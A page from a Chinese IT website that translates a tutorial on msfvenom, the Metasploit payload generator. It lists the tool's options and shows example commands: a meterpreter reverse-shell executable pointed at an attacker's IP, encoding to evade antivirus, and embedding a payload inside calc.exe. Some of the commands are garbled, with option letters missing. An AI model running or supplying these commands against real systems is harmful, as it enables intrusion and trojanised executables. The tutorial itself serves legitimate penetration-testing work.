全球领先的IT技术网站 |首页 |Tags |网站地图

您现在正在浏览:首页 » 综合频道 » 安全 » 数据库安全 » Meatsploit Framework msfvenom使用简介

RSS订阅

Meatsploit Framework msfvenom使用简介

暂无Tags标签
摘要:

 2015年6月8日,Wei Chen在rapid7官方博客上发文,将于近期移除metasploit-framework版本中的msfencoder和msfpayload并使用msfvenom取代。官方的msfvenom使用说明这里,下面给出翻译的使用说明。

最近一次更新的msf中已经去掉了这两个工具,同时,msfcli也即将被移除。

 

kali和BT目前使用的MSF依然是旧版,所以用kali和BT5的小伙伴可以暂时不考虑。在其他平台上编译安装msf的童鞋,可能已经发现这个东西了。

msfvenom命令行选项如下:

Options:     -p, --payload    <payload>       指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用&#039;-&#039;或者stdin指定     -l, --list       [module_type]   列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all     -n, --nopsled    <length>        payload预先指定一个NOP滑动长度     -f, --format     <format>        指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)     -e, --encoder    [encoder]       指定需要使用的encoder(编码器)     -a, --arch       <architecture>  指定payload的目标架构         --platform   <platform>      指定payload的目标平台     -s, --space      <length>        设定有效攻击荷载的最大长度     -b, --bad-chars  <list>          设定规避字符集,比如: &#039;\x00\xff&#039;     -i, --iterations <count>         指定payload的编码次数     -c, --add-code   <path>          指定一个附加的win32 shellcode文件     -x, --template   <path>          指定一个自定义的可执行文件作为模板     -k, --keep                       保护模板程序的动作,注入的payload作为一个新的进程运行         --payload-options            列举payload的标准选项     -o, --out   <path>               保存payload     -v, --var-name <name>            指定一个自定义的变量,以确定输出格式         --shellest                   最小化生成payload     -h, --help                       查看帮助选项         --help-formats               查看msf支持的输出格式列表

生成payload

生成payload,有有两个必须的选项:-p -f 

使用-p 来指定要使用的payload。

可以使用下面的命令来查看所有msf可用的payload列表 

./msfvenom -l payloads

-p选项也支持使用使用自定义的payload,需要使用 "-",比如:

cat payload_file.bin | ./msfvenom -- -a x86 --platform win -e x86/shikata_ga_nai -f raw

使用-f 来指定payload的输出格式

举例:

./msfvenom -p windows/meterpreter/bind_tcp -f exe

使用下面的命令,可以产看msf支持的输出格式

./msfvenom --help-formats

一个典型的msfvenom使用举例如下:

./msfvenom -p windows/meterpreter/reverse_tcp lhost=[Attacker&#039;s IP] lport=4444 -f exe -/tmp/my_payload.exe

对payload进行编码

如果你使用了-b选项(设定了规避字符集),会自动调用编码器。

其他情况下,你需要使用-e选项来使用编码模块,例如:

./msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -f raw

可以使用下面的命令,来查看可用的编码器

./msfvenom -l encoders

你也可以使用-i选项进行多次编码。某些情况下,迭代编码可以起到规避杀毒软件的作用,但你需要知道,编码并没有使用一个真正意义上的AV规避方案。

可以使用下面的命令来进行迭代编码:

./msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -3

规避字符

使用-b选项意味着在生成payload的时候对某些字符进行规避。当你使用这个选项的时候,msfvenom会自动的使用合适的编码器对payload进行编码,比如:

./msfvenom -p windows/meterpreter/bind_tcp -&#039;\x00&#039; -f raw

使用自定义可执行文件模板

默认的,msfvenom使用的模板文件保存在msf/data/templates目录中,如果你想使用你自己的模板文件,你可以使用-x选项来指定,比如:

./msfvenom -p windows/meterpreter/bind_tcp -x calc.exe -f exe > new.exe

这个命令将使用windows下计算器程序(calc.exe)作为可执行文件的模板生成payload。

注意:如果你想要创建一个windows的x64的可执行文件模板来生成一个x64的payload,你只能使用exe格式的模板。

使用-x选项经常和-k选项配合使用,-k选项会将你的payload作为一个新的进程运行。但目前这个选项只支持老版本的windows系统比如windows xp

0 »

综合专题

Linux那些发行版的事儿
Linux那些发行版的事儿

Peter MacDonald说,作为一个操作系统,至少需要在内核基础上绑定TCP/IP和X窗口这样的基本功能,于是有了Softlanding Linux System。美国大学生Patrick Volkerding说,SLS维护的不好,于是有了Slackware。美国大学生Ian Murdock说,SLS维护的不好,而且我们需要一个秉承Linux和GNU的开放精神的发行版,于是有了Debian。

web缓存服务
web缓存服务

超文本传输协议(HTTP)是互联网基本协议之一,主要用于分布式、协作式、超媒体的信息系统。通过HTTP,客户端向服务器端发送资源请求, 服务器端返回所请求资源如图像、样式表和JavaScript。早期的Web开发者已经认识到,Web流量会增长得越来越快。为了满足永无止境的Web需求,Web缓存正成为优化特定时间内数据传送量的至...

Linux虚拟化技术
Linux虚拟化技术

虚拟化技术的应用十分广泛, 当前虚拟化技术主要关注于服务器的虚拟化, 或在单个主机上寄存多个独立的操作系统。本专题主要介绍Linux上操作系统级的虚拟化技术,以及相关虚拟化技术的应用。随着处理器应用虚拟化技术(VT)的问世,虚拟化越来越受到业界的关注。相对于传统的软件虚拟化解决方案,虚拟化技术基于硬件的完全虚...

最新资讯

相关热门文章

  • 本文暂无Tags标签